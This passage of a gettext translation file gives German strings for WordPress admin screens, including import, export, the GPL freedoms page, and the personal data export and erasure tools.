wp-admin/includes/ajax-actions.php:3847 msgid "You are now logged out everywhere else." msgstr "Du bist nun von allen anderen Geräten abgemeldet." #: wp-admin/includes/ajax-actions.php:3838 msgid "Could not log out user sessions. Please try again." msgstr "Die Sitzungen konnten nicht abgemeldet werden. Bitte versuche es nochmal." #: wp-admin/includes/ajax-actions.php:3725 msgid "This preview is unavailable in the editor." msgstr "Die Vorschau ist im Editor nicht verfügbar." #. translators: %s: URL that could not be embedded. #: wp-admin/includes/ajax-actions.php:3691 msgid "%s failed to embed." msgstr "%s konnte nicht eingebunden werden." #: wp-admin/includes/ajax-actions.php:2539 #: wp-admin/includes/class-custom-background.php:492 #: wp-admin/includes/class-custom-image-header.php:899 msgid "The uploaded file is not a valid image. Please try again." msgstr "Die hochgeladene Datei ist kein gültiges Bild. Bitte erneut versuchen." #: wp-admin/includes/ajax-actions.php:2512 msgid "Sorry, you are not allowed to attach files to this post." msgstr "Du bist leider nicht berechtigt, Dateien an Beiträge anzuhängen." #: wp-admin/includes/ajax-actions.php:2433 msgid "Upload failed. Please reload and try again." msgstr "Der Upload ist fehlgeschlagen. Bitte neu laden und erneut versuchen." #: wp-admin/includes/ajax-actions.php:2194 #: wp-admin/includes/class-wp-posts-list-table.php:1111 #: wp-admin/includes/class-wp-posts-list-table.php:1846 #: wp-admin/includes/meta-boxes.php:114 wp-admin/includes/meta-boxes.php:145 msgid "Scheduled" msgstr "Geplant" #: wp-admin/includes/ajax-actions.php:2130 #: wp-admin/includes/ajax-actions.php:2136 #: wp-admin/includes/edit-tag-messages.php:18 msgid "Item not updated." msgstr "Element wurde nicht aktualisiert." #. translators: %s: User's display name. #: wp-admin/includes/ajax-actions.php:2011 msgid "Saving is disabled: %s is currently editing this page." msgstr "Speichern nicht möglich: %s bearbeitet diese Seite gerade." #. translators: %s: User's display name. #: wp-admin/includes/ajax-actions.php:2007 msgid "Saving is disabled: %s is currently editing this post." msgstr "Speichern nicht möglich: %s bearbeitet diesen Beitrag gerade." #: wp-admin/includes/ajax-actions.php:2004 msgid "Someone" msgstr "Jemand" #. translators: %s: The new user. #: wp-admin/includes/ajax-actions.php:1701 msgid "User %s added" msgstr "Benutzer %s hinzugefügt" #: wp-admin/includes/ajax-actions.php:1611 msgid "Please provide a custom field name." msgstr "Bitte gib einen Namen für das individuelle Feld ein." #: wp-admin/includes/ajax-actions.php:1580 #: wp-admin/includes/ajax-actions.php:1588 msgid "Please provide a custom field value." msgstr "Bitte gib einen Wert für das individuelle Feld ein." #. translators: 1: Post creation date, 2: Post creation time. #: wp-admin/includes/ajax-actions.php:1563 msgid "Draft created on %1$s at %2$s" msgstr "Entwurf erstellt am %1$s um %2$s Uhr" #: wp-admin/includes/ajax-actions.php:1304 #: wp-admin/includes/ajax-actions.php:1406 msgid "Error: Please type your comment text." msgstr "Fehler: Bitte gib deinen Kommentar-Text ein." #: wp-admin/includes/ajax-actions.php:1300 msgid "Sorry, you must be logged in to reply to a comment." msgstr "Um auf einen Kommentar zu antworten, musst du angemeldet sein." #: wp-admin/includes/ajax-actions.php:1274 msgid "Error: You can’t reply to a comment on a draft post." msgstr "Fehler: Du antwortest auf einen Kommentar zu einem Entwurf." #. translators: %d: Comment ID. #: wp-admin/includes/ajax-actions.php:959 msgid "Comment %d does not exist" msgstr "Kommentar %d existiert nicht" #. translators: 1: User login, 2: User email address. #: wp-admin/includes/ajax-actions.php:324 msgctxt "user autocomplete result" msgid "%1$s (%2$s)" msgstr "%1$s (%2$s)" #. translators: %s: URL to Add Plugins screen. #: wp-admin/import.php:228 msgid "If the importer you need is not listed, <a href=\"%s\">search the plugin directory</a> to see if an importer is available." msgstr "Falls der von dir benötigte Importer hier nicht gelistet ist, <a href=\"%s\">durchsuche das Plugin-Verzeichnis</a>, um zu schauen, ob ein Importer verfügbar ist." #. translators: %s: Importer name. #. translators: %s: Plugin name and version. #. translators: %s: Plugin name. #: wp-admin/import.php:204 #: wp-admin/includes/class-wp-plugin-install-list-table.php:622 #: wp-admin/includes/class-wp-plugins-list-table.php:1044 msgid "More information about %s" msgstr "Weitere Informationen über %s" #. translators: %s: URL to Import screen on the main site. #: wp-admin/import.php:165 msgid "This importer is not installed. Please install importers from <a href=\"%s\">the main site</a>." msgstr "Der Importer ist nicht installiert. Bitte installiere Importer von der <a href=\"%s\">Haupt-Website</a>." #: wp-admin/import.php:160 #: wp-admin/includes/class-wp-plugin-install-list-table.php:537 #: wp-admin/includes/class-wp-theme-install-list-table.php:327 #: wp-admin/includes/plugin-install.php:357 #: wp-admin/includes/plugin-install.php:860 #: wp-admin/includes/theme-install.php:187 wp-admin/press-this.php:63 #: wp-admin/js/updates.js:908 wp-admin/js/updates.js:2201 #: wp-admin/js/updates.js:2244 msgid "Install Now" msgstr "Jetzt installieren" #. translators: %s: Importer name. #. translators: %s: Plugin name and version. #. translators: %s: Plugin name. #: wp-admin/import.php:159 #: wp-admin/includes/class-wp-plugin-install-list-table.php:535 #: wp-admin/js/updates.js:904 wp-admin/js/updates.js:2117 #: wp-admin/js/updates.js:2240 msgctxt "plugin" msgid "Install %s now" msgstr "%s jetzt installieren" #: wp-admin/import.php:133 wp-admin/import.php:182 wp-admin/js/updates.js:857 msgid "Run Importer" msgstr "Importer ausführen" #. translators: %s: Importer name. #: wp-admin/import.php:132 wp-admin/import.php:181 wp-admin/js/updates.js:853 msgid "Run %s" msgstr "%s ausführen" #: wp-admin/import.php:96 msgid "No importers are available." msgstr "Es sind keine Importer verfügbar." #: wp-admin/import.php:72 msgid "If you have posts or comments in another system, WordPress can import those into this site. To get started, choose a system to import from below:" msgstr "Wenn du Beiträge oder Kommentare in anderen Blogsystemen hast, kann WordPress diese importieren. Wähle dazu unten das System, aus dem du importieren möchtest:" #. translators: %s: Importer slug. #: wp-admin/import.php:67 msgid "The %s importer is invalid or is not installed." msgstr "Der %s-Importer ist ungültig oder nicht installiert." #: wp-admin/import.php:64 wp-admin/themes.php:303 wp-admin/users.php:321 #: wp-admin/includes/network.php:116 wp-admin/includes/network.php:142 msgid "Error:" msgstr "Fehler:" #: wp-admin/import.php:31 msgid "<a href=\"https://wordpress.org/support/article/tools-import-screen/\">Documentation on Import</a>" msgstr "<a href=\"https://wordpress.org/support/article/tools-import-screen/\">Dokumentation beim Import (engl.)</a>" #: wp-admin/import.php:25 msgid "In previous versions of WordPress, all importers were built-in. They have been turned into plugins since most people only use them once or infrequently." msgstr "In vorherigen Versionen von WordPress waren alle Importer fest eingebaut. Diese wurden zu Plugins gemacht, da die meisten Leute sie nur einmal bzw. sehr selten benutzen." #: wp-admin/import.php:24 msgid "This screen lists links to plugins to import data from blogging/content management platforms. Choose the platform you want to import from, and click Install Now when you are prompted in the popup window. If your platform is not listed, click the link to search the plugin directory for other importer plugins to see if there is one for your platform." msgstr "Hier findest du eine Liste von Plugins, mit denen du Daten aus anderen Blog- oder CMS-Systemen importieren kannst. Wähle die Plattform, aus der du importieren möchtest und klicke auf „Installieren“ sobald du in einem Pop-up Fenster dazu aufgefordert wirst. Sollte deine Plattform hier nicht aufgelistet sein, kannst du über das WordPress.org-Plugin-Verzeichnis nach einem geeigneten Import-Plugin suchen, um dort hoffentlich etwas für deinen Daten-Import zu finden." #: wp-admin/freedoms.php:117 msgid "Don’t you wish all software came with these freedoms? So do we! For more information, check out the <a href=\"https://www.fsf.org/\">Free Software Foundation</a>." msgstr "Wünschst du dir nicht auch, dass jede Software diese Freiheiten bietet? Wir auch! Weitere Informationen findest du auf der Seite der <a href=\"https://www.fsf.org/\">Free Software Foundation</a>." #. translators: 1: URL to Plugins screen, 2: URL to Themes screen, 3: #. https://wordpress.org/about/license #: wp-admin/freedoms.php:109 msgid "Every plugin and theme in WordPress.org’s directory is 100%% GPL or a similarly free and compatible license, so you can feel safe finding <a href=\"%1$s\">plugins</a> and <a href=\"%2$s\">themes</a> there. If you get a plugin or theme from another source, make sure to <a href=\"%3$s\">ask them if it’s GPL</a> first. If they don’t respect the WordPress license, we don’t recommend them." msgstr "Jedes Plugin und Theme, das von WordPress.org heruntergeladen werden kann, ist zu 100 %% unter der GPL oder einer ähnlichen, kompatiblen Lizenz lizenziert. So kannst du von dort unbesorgt <a href=\"%1$s\">Plugins</a> und <a href=\"%2$s\">Themes</a> suchen und verwenden. Solltest du ein Plugin oder Theme aus einer anderen Quelle verwenden, so solltest du vorher erfragen <a href=\"%3$s\">ob das Produkt gemäß der GPL lizenziert ist</a>. Falls dieses Produkt die WordPress-Lizenz nicht respektiert, können wir es nicht empfehlen." #: wp-admin/freedoms.php:106 wp-admin/theme-install.php:99 #: wp-admin/themes.php:156 msgid "https://wordpress.org/themes/" msgstr "https://de.wordpress.org/themes/" #: wp-admin/freedoms.php:105 wp-admin/includes/plugin-install.php:273 #: wp-admin/includes/plugin-install.php:700 wp-admin/plugin-install.php:89 #: wp-admin/plugins.php:550 msgid "https://wordpress.org/plugins/" msgstr "https://de.wordpress.org/plugins/" #. translators: %s: https://wordpressfoundation.org/trademark-policy #: wp-admin/freedoms.php:97 msgid "WordPress grows when people like you tell their friends about it, and the thousands of businesses and services that are built on and around WordPress share that fact with their users. We’re flattered every time someone spreads the good word, just make sure to <a href=\"%s\">check out our trademark guidelines</a> first." msgstr "WordPress entwickelt sich weiter, wenn Menschen wie du ihren Freunden und Freundinnen davon erzählen, und die tausenden Firmen und Dienstleister, die WordPress einsetzen, diese Tatsache mit ihren Kunden teilen. Wir sind jedes Mal begeistert, wenn jemand etwas Gutes weiterempfiehlt, bitte beachte dabei <a href=\"%s\">den Leitfaden zur Verwendung der Marke WordPress (engl.)</a>." #: wp-admin/freedoms.php:87 msgid "To distribute copies of your modified versions to others." msgstr "Du darfst Kopien deiner geänderten Versionen an Dritte weitergeben." #: wp-admin/freedoms.php:86 msgid "The 4th Freedom" msgstr "Die vierte Freiheit" #: wp-admin/freedoms.php:82 msgid "To redistribute." msgstr "Weitergeben erlaubt." #: wp-admin/freedoms.php:81 msgid "The 3rd Freedom" msgstr "Die dritte Freiheit" #: wp-admin/freedoms.php:77 msgid "To study how the program works and change it to make it do what you wish." msgstr "Du darfst die Funktionsweise des Programms untersuchen und nach deinen Vorstellungen verändern." #: wp-admin/freedoms.php:76 msgid "The 2nd Freedom" msgstr "Die zweite Freiheit" #: wp-admin/freedoms.php:72 msgid "To run the program for any purpose." msgstr "Das Programm darf zu jedem Zweck eingesetzt werden." #: wp-admin/freedoms.php:71 msgid "The 1st Freedom" msgstr "Die erste Freiheit" #: wp-admin/freedoms.php:60 wp-admin/freedoms.php:112 msgid "https://wordpress.org/about/license/" msgstr "https://wordpress.org/about/license/" #. translators: %s: https://wordpress.org/about/license #: wp-admin/freedoms.php:59 msgid "WordPress is Free and open source software, built by a distributed community of mostly volunteer developers from around the world. WordPress comes with some awesome, worldview-changing rights courtesy of its <a href=\"%s\">license</a>, the GPL." msgstr "WordPress ist eine freie, kostenlose und quelloffene (<em>Open Source</em>) Software, programmiert von größtenteils freiwilligen Personen auf der ganzen Welt. WordPress steht unter einer sehr großzügigen und viele Freiheiten gewährenden <a href=\"%s\">Lizenz (engl.)</a>, der GPL." #: wp-admin/export.php:320 msgid "Download Export File" msgstr "Export-Datei herunterladen" #: wp-admin/export.php:214 wp-admin/export.php:261 wp-admin/export.php:301 msgid "End date:" msgstr "Ende:" #: wp-admin/export.php:209 wp-admin/export.php:256 wp-admin/export.php:296 msgid "Start date:" msgstr "Startdatum:" #: wp-admin/export.php:208 wp-admin/export.php:255 wp-admin/export.php:295 msgid "Date range:" msgstr "Zeitraum:" #: wp-admin/export.php:191 wp-admin/export.php:238 msgid "Authors:" msgstr "Autoren:" #: wp-admin/export.php:186 msgid "Categories:" msgstr "Kategorien:" #: wp-admin/export.php:181 msgid "This will contain all of your posts, pages, comments, custom fields, terms, navigation menus, and custom posts." msgstr "Der Export enthält dann alle Beiträge, Seiten, Kommentare, individuelle Felder, Kategorien, Schlagwörter, Navigationsmenüs und individuelle Inhaltstypen." #: wp-admin/export.php:180 msgid "All content" msgstr "Alle Inhalte" #: wp-admin/export.php:178 msgid "Content to export" msgstr "Zu exportierender Inhalt" #: wp-admin/export.php:175 msgid "Choose what to export" msgstr "Wähle, was du exportieren möchtest" #: wp-admin/export.php:173 msgid "Once you’ve saved the download file, you can use the Import function in another WordPress installation to import the content from this site." msgstr "Nach dem Speichern der Datei kannst du die Importfunktion einer anderen WordPress-Installation benutzen, um die Inhalte dieser Website zu importieren." #: wp-admin/export.php:172 msgid "This format, which we call WordPress eXtended RSS or WXR, will contain your posts, pages, comments, custom fields, categories, and tags." msgstr "Dieses Format, das wir „WordPress eXtended RSS“ oder WXR nennen, beinhaltet deine Beiträge, Seiten, Kommentare, individuellen Felder, Kategorien und Schlagwörter." #: wp-admin/export.php:171 msgid "When you click the button below WordPress will create an XML file for you to save to your computer." msgstr "Wenn du unten auf Export-Datei herunterladen klickst, wird WordPress eine XML-Datei für dich erstellen, die du auf deinem Computer speichern kannst." #: wp-admin/export.php:57 msgid "<a href=\"https://wordpress.org/support/article/tools-export-screen/\">Documentation on Export</a>" msgstr "<a href=\"https://wordpress.org/support/article/tools-export-screen/\">Dokumentation zum Export (engl.)</a>" #: wp-admin/export.php:51 msgid "Once generated, your WXR file can be imported by another WordPress site or by another blogging platform able to access this format." msgstr "Die generierte WXR-Datei kann in eine beliebige andere WordPress-Installation oder eine Blogging-Plattform importiert werden, die dieses Format unterstützt. (Beachte dabei bitte, dass diese Export-Funktion kein vollständiges Backup aller Dateien erstellt. Dies kann durch entsprechende Backup-Plugins realisiert werden.)" #: wp-admin/export.php:50 msgid "You can export a file of your site’s content in order to import it into another installation or platform. The export file will be an XML file format called WXR. Posts, pages, comments, custom fields, categories, and tags can be included. You can choose for the WXR file to include only certain posts or pages by setting the dropdown filters to limit the export by category, author, date range by month, or publishing status." msgstr "Die Inhalte deiner Website können in eine Datei exportiert werden, um diese wieder in eine andere Installation zu importieren. Das Format der Export-Datei ist ein spezielles XML-Format, auch WXR (WordPress eXtended Rss) genannt. Beim Export können Beiträge, Seiten, Kommentare, individuelle Felder, Kategorien und Schlagwörter inkludiert werden. Du kannst die Inhalte der WXR-Datei vorab auch filtern, indem du die Export-Daten z. B. auf Seiten, Beiträge und/oder Medien beschränkst und diese wiederum per Kategorie, Autor, Zeitraum oder Status weiter eingrenzt." #: wp-admin/export.php:18 wp-admin/menu.php:281 msgid "Export" msgstr "Daten exportieren" #: wp-admin/export.php:13 msgid "Sorry, you are not allowed to export the content of this site." msgstr "Du bist leider nicht berechtigt, Inhalte von dieser Website zu exportieren." #: wp-admin/export-personal-data.php:129 msgid "Send personal data export confirmation email." msgstr "Bestätigungs-E-Mail zum Export personenbezogener Daten senden." #: wp-admin/export-personal-data.php:111 msgid "Add Data Export Request" msgstr "Antrag für einen Datenexport hinzufügen" #: wp-admin/export-personal-data.php:105 msgid "This tool helps site owners comply with local laws and regulations by exporting known data for a given user in a .zip file." msgstr "Dieses Werkzeug hilft Website-Betreibern bei der Einhaltung lokaler Gesetze und Vorschriften, indem es bekannte Daten für einen bestimmten Benutzer in eine .zip-Datei exportiert." #: wp-admin/export-personal-data.php:93 msgid "Export personal data list" msgstr "Liste der personenbezogenen Daten exportieren" #: wp-admin/export-personal-data.php:92 msgid "Export personal data list navigation" msgstr "Exportieren der Navigation in der Liste der personenbezogenen Daten" #: wp-admin/export-personal-data.php:91 msgid "Filter export personal data list" msgstr "Filter-Liste der personenbezogenen Daten exportieren" #: wp-admin/export-personal-data.php:62 msgid "<a href=\"https://wordpress.org/support/article/tools-export-personal-data-screen/\">Documentation on Export Personal Data</a>" msgstr "<a href=\"https://wordpress.org/support/article/tools-export-personal-data-screen/\">Dokumentation über den Export personenbezogener Daten (engl.)</a>" #: wp-admin/export-personal-data.php:55 msgid "Plugin authors can <a href=\"https://developer.wordpress.org/plugins/privacy/adding-the-personal-data-exporter-to-your-plugin/\" target=\"_blank\">learn more about how to add the Personal Data Exporter to a plugin here</a>." msgstr "Plugin-Autoren können <a href=\"https://developer.wordpress.org/plugins/privacy/adding-the-personal-data-exporter-to-your-plugin/\" target=\"_blank\">hier mehr darüber erfahren, wie sich der Datenexport in ein Plugin integrieren lässt (engl.)</a>." #: wp-admin/export-personal-data.php:54 msgid "Many plugins may collect or store personal data either in the WordPress database or remotely. Any Export Personal Data request should include data from plugins as well." msgstr "Viele Plugins können personenbezogene Daten entweder in der WordPress-Datenbank oder aus der Ferne sammeln oder speichern. Jede Anfrage zum Exportieren personenbezogener Daten sollte auch die Daten von Plugins beinhalten." #. translators: %s: URL to Privacy Policy Guide screen. #: wp-admin/export-personal-data.php:45 msgid "If you are not sure, check the plugin documentation or contact the plugin author to see if the plugin collects data and if it supports the Data Exporter tool. This information may be available in the <a href=\"%s\">Privacy Policy Guide</a>." msgstr "Wenn du dir nicht sicher bist, schaue in die Dokumentation des Plugins oder kontaktiere den Autor, um zu erfahren, ob das Plugin Daten sammelt und ob es die Funktionen zum Datenexport unterstützt. Diese Informationen findest du möglicherweise in der <a href=\"%s\">Datenschutzerklärung</a>." #: wp-admin/export-personal-data.php:38 msgid "<strong>Comments</strong> — For any comments made by the user, Email Address, IP Address, User Agent (Browser/OS), Date/Time, Comment Content, and Content URL." msgstr "<strong>Kommentare</strong> – Für jeden vom Benutzer abgegebenen Kommentar, E-Mail-Adresse, IP-Adresse, User Agent (Browser/Betriebssystem), Datum/Uhrzeit, Inhalt des Kommentars und URL des Inhalts." #: wp-admin/export-personal-data.php:36 msgid "<strong>Community Events Location</strong> — The IP Address of the user used for the Upcoming Community Events shown in the dashboard widget." msgstr "<strong>Standort für WordPress-Veranstaltungen</strong> – Die IP-Adresse des Benutzers, die dazu verwendet wird, passende Einträge im Dashboard-Widget „WordPress-Veranstaltungen und Neuigkeiten“ anzuzeigen." #: wp-admin/export-personal-data.php:34 msgid "Personal data that is collected by WordPress and is displayed in the export files include:" msgstr "Die personenbezogenen Daten, die von WordPress erfasst und in den Exportdateien angezeigt werden, beinhalten:" #: wp-admin/export-personal-data.php:25 msgid "<strong>Note: As this tool only gathers data from WordPress and participating plugins, you may need to do more to comply with export requests. You should also send the requestor any data collected by or stored with any 3rd party services used by your business or site.</strong>" msgstr "<strong>Hinweis: Da dieses Werkzeug nur Daten von WordPress und teilnehmenden Plugins sammelt, musst du möglicherweise mehr tun, um Anfragen für einen Export nachzukommen. Du solltest der antragstellenden Person auch alle Daten senden, die von Drittanbieter-Diensten, die von deinem Unternehmen oder deiner Website verwendet werden, gesammelt oder gespeichert wurden.</strong>" #: wp-admin/export-personal-data.php:23 msgid "Providing an export of all data that a business or website has collected about an individual is a requirement of many Privacy Laws around the world, and is sometimes referred to as the \"Right To Data Portability\"." msgstr "Die Bereitstellung eines Exports aller Daten, die ein Unternehmen oder eine Website über eine Person gesammelt hat, ist eine Anforderung vieler Datenschutzgesetze auf der ganzen Welt und wird manchmal als das „Recht auf Datenübertragbarkeit“ bezeichnet." #: wp-admin/export-personal-data.php:22 msgid "This screen allows you to manage requests for an export of personal data." msgstr "In dieser Ansicht kannst du Anfragen für einen Export von personenbezogenen Daten verwalten." #: wp-admin/export-personal-data.php:13 msgid "Sorry, you are not allowed to export personal data on this site." msgstr "Du bist leider nicht berechtigt, personenbezogene Daten auf dieser Website zu exportieren." #: wp-admin/erase-personal-data.php:147 wp-admin/export-personal-data.php:147 msgid "Search Requests" msgstr "Anfragen durchsuchen" #: wp-admin/erase-personal-data.php:135 wp-admin/export-personal-data.php:135 msgid "Send Request" msgstr "Anfrage senden" #: wp-admin/erase-personal-data.php:129 msgid "Send personal data erasure confirmation email." msgstr "Eine Bestätigungs-E-Mail zur Löschung der persönlichen Daten senden." #: wp-admin/erase-personal-data.php:124 wp-admin/export-personal-data.php:124 msgid "Confirmation email" msgstr "Bestätigungs-E-Mail" #: wp-admin/erase-personal-data.php:116 wp-admin/export-personal-data.php:116 msgid "Username or email address" msgstr "Benutzername oder E-Mail-Adresse" #: wp-admin/erase-personal-data.php:111 msgid "Add Data Erasure Request" msgstr "Antrag für eine Datenlöschung hinzufügen" #: wp-admin/erase-personal-data.php:105 msgid "This tool helps site owners comply with local laws and regulations by deleting or anonymizing known data for a given user." msgstr "Dieses Werkzeug hilft Website-Betreibern bei der Einhaltung lokaler Gesetze und Vorschriften, indem es bekannte Daten für einen bestimmten Benutzer löscht oder anonymisiert." #: wp-admin/erase-personal-data.php:93 msgid "Erase personal data list" msgstr "Liste der personenbezogenen Daten löschen" #: wp-admin/erase-personal-data.php:92 msgid "Erase personal data list navigation" msgstr "Navigation in der Liste der personenbezogenen Daten löschen" #: wp-admin/erase-personal-data.php:91 msgid "Filter erase personal data list" msgstr "Filter-Liste der personenbezogenen Daten löschen" #: wp-admin/erase-personal-data.php:62 msgid "<a href=\"https://wordpress.org/support/article/tools-erase-personal-data-screen/\">Documentation on Erase Personal Data</a>" msgstr "<a href=\"https://wordpress.org/support/article/tools-erase-personal-data-screen/\">Dokumentation zum Löschung personenbezogener Daten (engl.)</a>" #: wp-admin/erase-personal-data.php:55 msgid "Plugin authors can <a href=\"https://developer.wordpress.org/plugins/privacy/adding-the-personal-data-eraser-to-your-plugin/\" target=\"_blank\">learn more about how to add support for the Personal Data Eraser to a plugin here</a>." msgstr "Plugin-Autoren können <a href=\"https://developer.wordpress.org/plugins/privacy/adding-the-personal-data-eraser-to-your-plugin/\" target=\"_blank\">hier mehr darüber erfahren, wie sich die Funktion zum Löschen der personenbezogenen Daten in ein Plugin integrieren lässt (engl.)</a>." #: wp-admin/erase-personal-data.php:54 msgid "Many plugins may collect or store personal data either in the WordPress database or remotely. Any Erase Personal Data request should delete data from plugins as well." msgstr "Viele Plugins können personenbezogene Daten entweder in der WordPress-Datenbank oder aus der Ferne sammeln oder speichern. Jede Anfrage zum Löschen personenbezogener Daten sollte auch die Daten von Plugins löschen." #: wp-admin/erase-personal-data.php:52 wp-admin/export-personal-data.php:52 msgid "Plugin Data" msgstr "Plugindaten" #. translators: %s: URL to Privacy Policy Guide screen. #: wp-admin/erase-personal-data.php:45 msgid "If you are not sure, check the plugin documentation or contact the plugin author to see if the plugin collects data and if it supports the Data Eraser tool. This information may be available in the <a href=\"%s\">Privacy Policy Guide</a>." msgstr "Wenn du dir nicht sicher bist, schaue in die Dokumentation des Plugins oder kontaktiere den Autor, um zu erfahren, ob das Plugin Daten sammelt und ob es die Funktionen zum Löschen der personenbezogenen Daten unterstützt. Diese Informationen findest du möglicherweise in der <a href=\"%s\">Datenschutzerklärung</a>." #: wp-admin/erase-personal-data.php:39 wp-admin/export-personal-data.php:39 msgid "<strong>Media</strong> — A list of URLs for all media file uploads made by the user." msgstr "<strong>Medien</strong> – Eine Liste von URLs für alle Mediendatei-Uploads, die der Benutzer vorgenommen hat." #: wp-admin/erase-personal-data.php:38 msgid "<strong>Comments</strong> — Comments are not deleted, but user data is anonymized, including Email Address, IP Address, and User Agent (Browser/OS)." msgstr "<strong>Kommentare</strong> – Kommentare werden nicht gelöscht, aber die Benutzerdaten werden anonymisiert, einschließlich E-Mail-Adresse, IP-Adresse und User Agent (Browser/Betriebssystem)." #: wp-admin/erase-personal-data.php:37 wp-admin/export-personal-data.php:37 msgid "<strong>Session Tokens</strong> — User login information, IP Addresses, Expiration Date, User Agent (Browser/OS), and Last Login." msgstr "<strong>Session Token</strong> – Benutzer-Anmeldeinformationen, IP-Adressen, Ablaufdatum, User Agent (Browser/Betriebssystem) und letzte Anmeldung." #: wp-admin/erase-personal-data.php:36 msgid "<strong>Community Events Location</strong> — The IP Address of the user which is used for the Upcoming Community Events shown in the dashboard widget." msgstr "<strong>Standort für WordPress-Veranstaltungen</strong> – Die IP-Adresse des Benutzers, die dazu verwendet wird, passende Einträge im Dashboard-Widget „WordPress-Veranstaltungen und Neuigkeiten“ anzuzeigen." #: wp-admin/erase-personal-data.php:35 wp-admin/export-personal-data.php:35 msgid "<strong>Profile Information</strong> — user email address, username, display name, nickname, first name, last name, description/bio, and registration date." msgstr "<strong>Profilinformationen</strong> – E-Mail-Adresse des Benutzers, Benutzername, öffentlicher Name, Spitzname, Vorname, Nachname, biografische Angaben und Registrierungsdatum." #: wp-admin/erase-personal-data.php:34 msgid "Personal data that is collected by WordPress and is deleted or anonymized include:" msgstr "Die personenbezogenen Daten, die von WordPress erfasst und gelöscht oder anonymisiert werden, beinhalten:" #: wp-admin/erase-personal-data.php:32 wp-admin/export-personal-data.php:32 msgid "Default Data" msgstr "Standarddaten" #: wp-admin/erase-personal-data.php:25 msgid "<strong>Note: As this tool only gathers data from WordPress and participating plugins, you may need to do more to comply with erasure requests. You should also delete any data collected by or stored with any 3rd party services used by your business or site.</strong>" msgstr "<strong>Hinweis: Da dieses Werkzeug nur Daten von WordPress und teilnehmenden Plugins sammelt, musst du möglicherweise mehr tun, um Anfragen für eine Löschung nachzukommen. Du solltest auch alle Daten löschen, die von Drittanbieter-Diensten, die von deinem Unternehmen oder deiner Website verwendet werden, gesammelt oder gespeichert wurden.</strong>" #: wp-admin/erase-personal-data.php:24 wp-admin/export-personal-data.php:24 msgid "The tool associates data stored in WordPress by a supplied email address, including profile data and comments." msgstr "Das Werkzeug verknüpft die in WordPress gespeicherten Daten mit einer angegebenen E-Mail-Adresse, einschließlich der Profildaten und Kommentare." #: wp-admin/erase-personal-data.php:23 msgid "Deleting, anonymizing, or forgetting all data that a business or website has collected about an individual is a requirement of many Privacy Laws around the world, and is sometimes referred to as the \"Right To Be Forgotten\"." msgstr "Das Löschen, Anonymisieren oder Vergessen aller Daten, die ein Unternehmen oder eine Website über eine Person gesammelt hat, ist eine Anforderung vieler Datenschutzgesetze auf der ganzen Welt und wird manchmal als das „Recht auf Vergessenwerden“ bezeichnet." #: wp-admin/erase-personal-data.php:22 msgid "This screen allows you to manage requests to erase or delete personal data." msgstr "In dieser Ansicht kannst du Anfragen zum Entfernen, Anonymisieren oder Löschen von personenbezogenen Daten verwalten." #: wp-admin/erase-personal-data.php:13 msgid "Sorry, you are not allowed to erase personal data on this site." msgstr "Du bist leider nicht berechtigt, personenbezogene Daten auf dieser Website zu löschen." #. translators: %s: Number of blocks. #: wp-admin/edit.php:377 msgid "%s block restored from the Trash." msgid_plural "%s blocks restored from the Trash." msgstr[0] "%s Block aus dem Papierkorb wiederhergestellt." msgstr[1] "%s Blöcke aus dem Papierkorb wiederhergestellt." #. translators: %s: Number of blocks. #: wp-admin/edit.php:375 msgid "%s block moved to the Trash." msgid_plural "%s blocks moved to the Trash." msgstr[0] "%s Block in den Papierkorb verschoben." msgstr[1] "%s Blöcke in den Papierkorb verschoben." #. translators: %s: Number of blocks. #: wp-admin/edit.php:373 msgid "%s block permanently deleted." msgid_plural "%s blocks permanently deleted." msgstr[0] "%s Block endgültig gelöscht." msgstr[1] "%s Blöcke endgültig gelöscht." #. translators: %s: Number of blocks. #: wp-admin/edit.php:371 msgid "%s block not updated, somebody is editing it." msgid_plural "%s blocks not updated, somebody is editing them." msgstr[0] "%s Block wurde nicht aktualisiert, jemand bearbeitet ihn gerade." msgstr[1] "%s Blöcke wurden nicht aktualisiert, jemand bearbeitet sie gerade." #: wp-admin/edit.php:369 msgid "1 block not updated, somebody is editing it." msgstr "Ein Block wurde nicht aktualisiert, da er gerade von jemandem bearbeitet wird." #. translators: %s: Number of blocks. #: wp-admin/edit.php:368 msgid "%s block updated." msgid_plural "%s blocks updated." msgstr[0] "%s Block aktualisiert." msgstr[1] "%s Blöcke aktualisiert." #. translators: %s: Number of pages. #: wp-admin/edit.php:364 msgid "%s page restored from the Trash." msgid_plural "%s pages restored from the Trash." msgstr[0] "%s Seite aus dem Papierkorb wiederhergestellt." msgstr[1] "%s Seiten aus dem Papierkorb wiederhergestellt." #. translators: %s: Number of pages. #: wp-admin/edit.php:362 msgid "%s page moved to the Trash." msgid_plural "%s pages moved to the Trash." msgstr[0] "%s Seite in den Papierkorb verschoben." msgstr[1] "%s Seiten in den Papierkorb verschoben." #. translators: %s: Number of pages. #: wp-admin/edit.php:360 msgid "%s page permanently deleted." msgid_plural "%s pages permanently deleted." msgstr[0] "%s Seite endgültig gelöscht." msgstr[1] "%s Seiten endgültig gelöscht." #. translators: %s: Number of pages. #: wp-admin/edit.php:358 msgid "%s page not updated, somebody is editing it." msgid_plural "%s pages not updated, somebody is editing them." msgstr[0] "%s Seite nicht aktualisiert, jemand bearbeitet sie gerade." msgstr[1] "%s Seiten nicht aktualisiert, jemand bearbeitet sie gerade." #: wp-admin/edit.php:356 msgid "1 page not updated, somebody is editing it." msgstr "Eine Seite wurde nicht aktualisiert, da sie gerade von jemandem bearbeitet wird." #. translators: %s: Number of pages. #: wp-admin/edit.php:355 msgid "%s page updated." msgid_plural "%s pages updated." msgstr[0] "%s Seite aktualisiert." msgstr[1] "%s Seiten aktualisiert." #. translators: %s: Number of posts. #: wp-admin/edit.php:351 msgid "%s post restored from the Trash." msgid_plural "%s posts restored from the Trash." msgstr[0] "%s Beitrag aus dem Papierkorb wiederhergestellt." msgstr[1] "%s Beiträge aus dem Papierkorb wiederhergestellt." #. translators: %s: Number of posts. #: wp-admin/edit.php:349 msgid "%s post moved to the Trash." msgid_plural "%s posts moved to the Trash." msgstr[0] "%s Beitrag in den Papierkorb verschoben." msgstr[1] "%s Beiträge in den Papierkorb verschoben." #. translators: %s: Number of posts. #: wp-admin/edit.php:347 msgid "%s post permanently deleted." msgid_plural "%s posts permanently deleted." msgstr[0] "%s Beitrag endgültig gelöscht." msgstr[1] "%s Beiträge endgültig gelöscht." #. translators: %s: Number of posts. #: wp-admin/edit.php:345 msgid "%s post not updated, somebody is editing it." msgid_plural "%s posts not updated, somebody is editing them." msgstr[0] "%s Beitrag nicht aktualisiert, jemand bearbeitet ihn 